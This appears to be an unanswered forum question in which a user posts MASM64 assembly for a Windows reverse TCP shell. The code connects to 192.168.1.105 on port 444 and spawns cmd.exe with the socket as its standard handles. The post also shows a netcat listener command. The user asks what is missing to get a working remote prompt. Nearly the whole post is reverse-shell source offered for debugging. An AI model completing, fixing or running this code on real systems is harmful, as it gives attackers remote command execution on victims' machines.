1 year ago

#82905

test-img

Slava

MASM64 reverse tcp shell - cmd not binding to socket

I'm trying to write code that creates a reverse connection and binds a cmd.exe to a socket. There are no errors - I created socket, connecttion and the cmd process started in the OS, but in the console with netcat I see only successful connect and no OS prompt:

C:\Users\myuser\NETCAT>nc.exe -lvp 444

listening on [any] 444 ... connect to [192.168.1.105] from DESKTOP-2E15R3U [192.168.1.105] 18433

what i forgot to do in code to bind сmd and socket successfully?

;ml64.exe reverse_tcp_MASM.asm /link /subsystem:console /entry:main /LIBPATH:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.18362.0\um\x64" /defaultlib:kernel32.lib /defaultlib:WS2_32.lib

extrn CreateProcessA : proc
extrn ExitProcess : proc
extern WSAStartup : proc
extern WSASocketA : proc
extern connect : proc

PROCESS_INFORMATION    struct 
    hProcess          qword ?
    hThread           qword ?
    dwProcessId       dword ?
    dwThreadId        dword ?
PROCESS_INFORMATION    ends

STARTUPINFOA         struct
cb                  qword     sizeof ( STARTUPINFOA )        
lpReserved          qword     ?         
lpDesktop           qword     ?         
lpTitle             qword     ?         
dwX                 dword     ?         
dwY                 dword     ?         
dwXSize             dword     ?         
dwYSize             dword     ?         
dwXCountChars       dword     ?         
dwYCountChars       dword     ?         
dwFillAttribute     dword     ?         
dwFlags             dword     ?         
wShowWindow         word      ?         
cbReserved2         word      3 dup ( ? )
lpReserved2         qword     ?         
hStdInput           qword     ?         
hStdOutput          qword     ?         
hStdError           qword     ?         
STARTUPINFOA         ends

.const
NORMAL_PRIORITY_CLASS equ 020h

.data
processInfo PROCESS_INFORMATION <>
startupInfo STARTUPINFOA <>
;szProcName db "C:\Windows\System32\calc.exe", 00h
szProcName db "C:\Windows\System32\cmd.exe", 00h

.code
    main proc
    
;--------------------------------------
;WSAStartup(514,&WSADATA))

and rsp,0FFFFFFFFFFFFFFF0h          
sub rsp,20h                 
xor rdx,rdx
mov dx,408h ; 
sub rsp,rdx
lea rdx,[rsp]
xor rcx,rcx
sub rsp,88h
mov cx,514
call WSAStartup
;-------------------------------------------------------
;WSASocketA(2,1,6,0,0,0)
    
mov dword ptr [rsp+28h],0
mov dword ptr [rsp+20h],0
mov r9d,0                  
mov r8d,6                  
mov edx,1                  
mov ecx,2 
call WSASocketA
mov r13,rax ;r13=SOCKET
;-------------------------------------------
;connect(SOCKET,(struct sockaddr *)&struct sockaddr_in,16)

and rsp,0FFFFFFFFFFFFFFF0h               
sub rsp,28h                     

xor r8,r8
push r8
push r8
mov [rsp], byte ptr 2
mov [rsp+2],word ptr 0bc01h ;port 444
mov [rsp+4],dword ptr 6901a8c0h ;192.168.1.105
lea r12,[rsp]
sub rsp,88

c:

mov rdx,r12                     ; struct <2, 0bb01h, 6801a8c0h>
mov rcx,r13                     ; SOCKET
mov r8b,10h                     ; 16 bytes
call connect
xor r8,r8
cmp rax,r8
jnz c
;-------------------------------------------    
;CreateProcessA

sub   RSP, 28h               
and   RSP, 0FFFFFFFFFFFFFFF0h

lea rbx, startupInfo
mov dword ptr [rbx],68h               
mov qword ptr [rbx+50h],r13                      
mov qword ptr [rbx+58h],r13                        
mov qword ptr [rbx+60h],r13

lea rax, processInfo 

push rax                      
push rbx                      
push 00h                                        
push 00h                      
push NORMAL_PRIORITY_CLASS    
push 00h                      
sub rsp, 20h
mov r9, 00h
mov r8, 00h
mov rdx, 00h
lea rcx, szProcName
call CreateProcessA


xor rcx, rcx
call ExitProcess

    main endp
end

masm64

0 Answers

Your Answer

Accepted video resources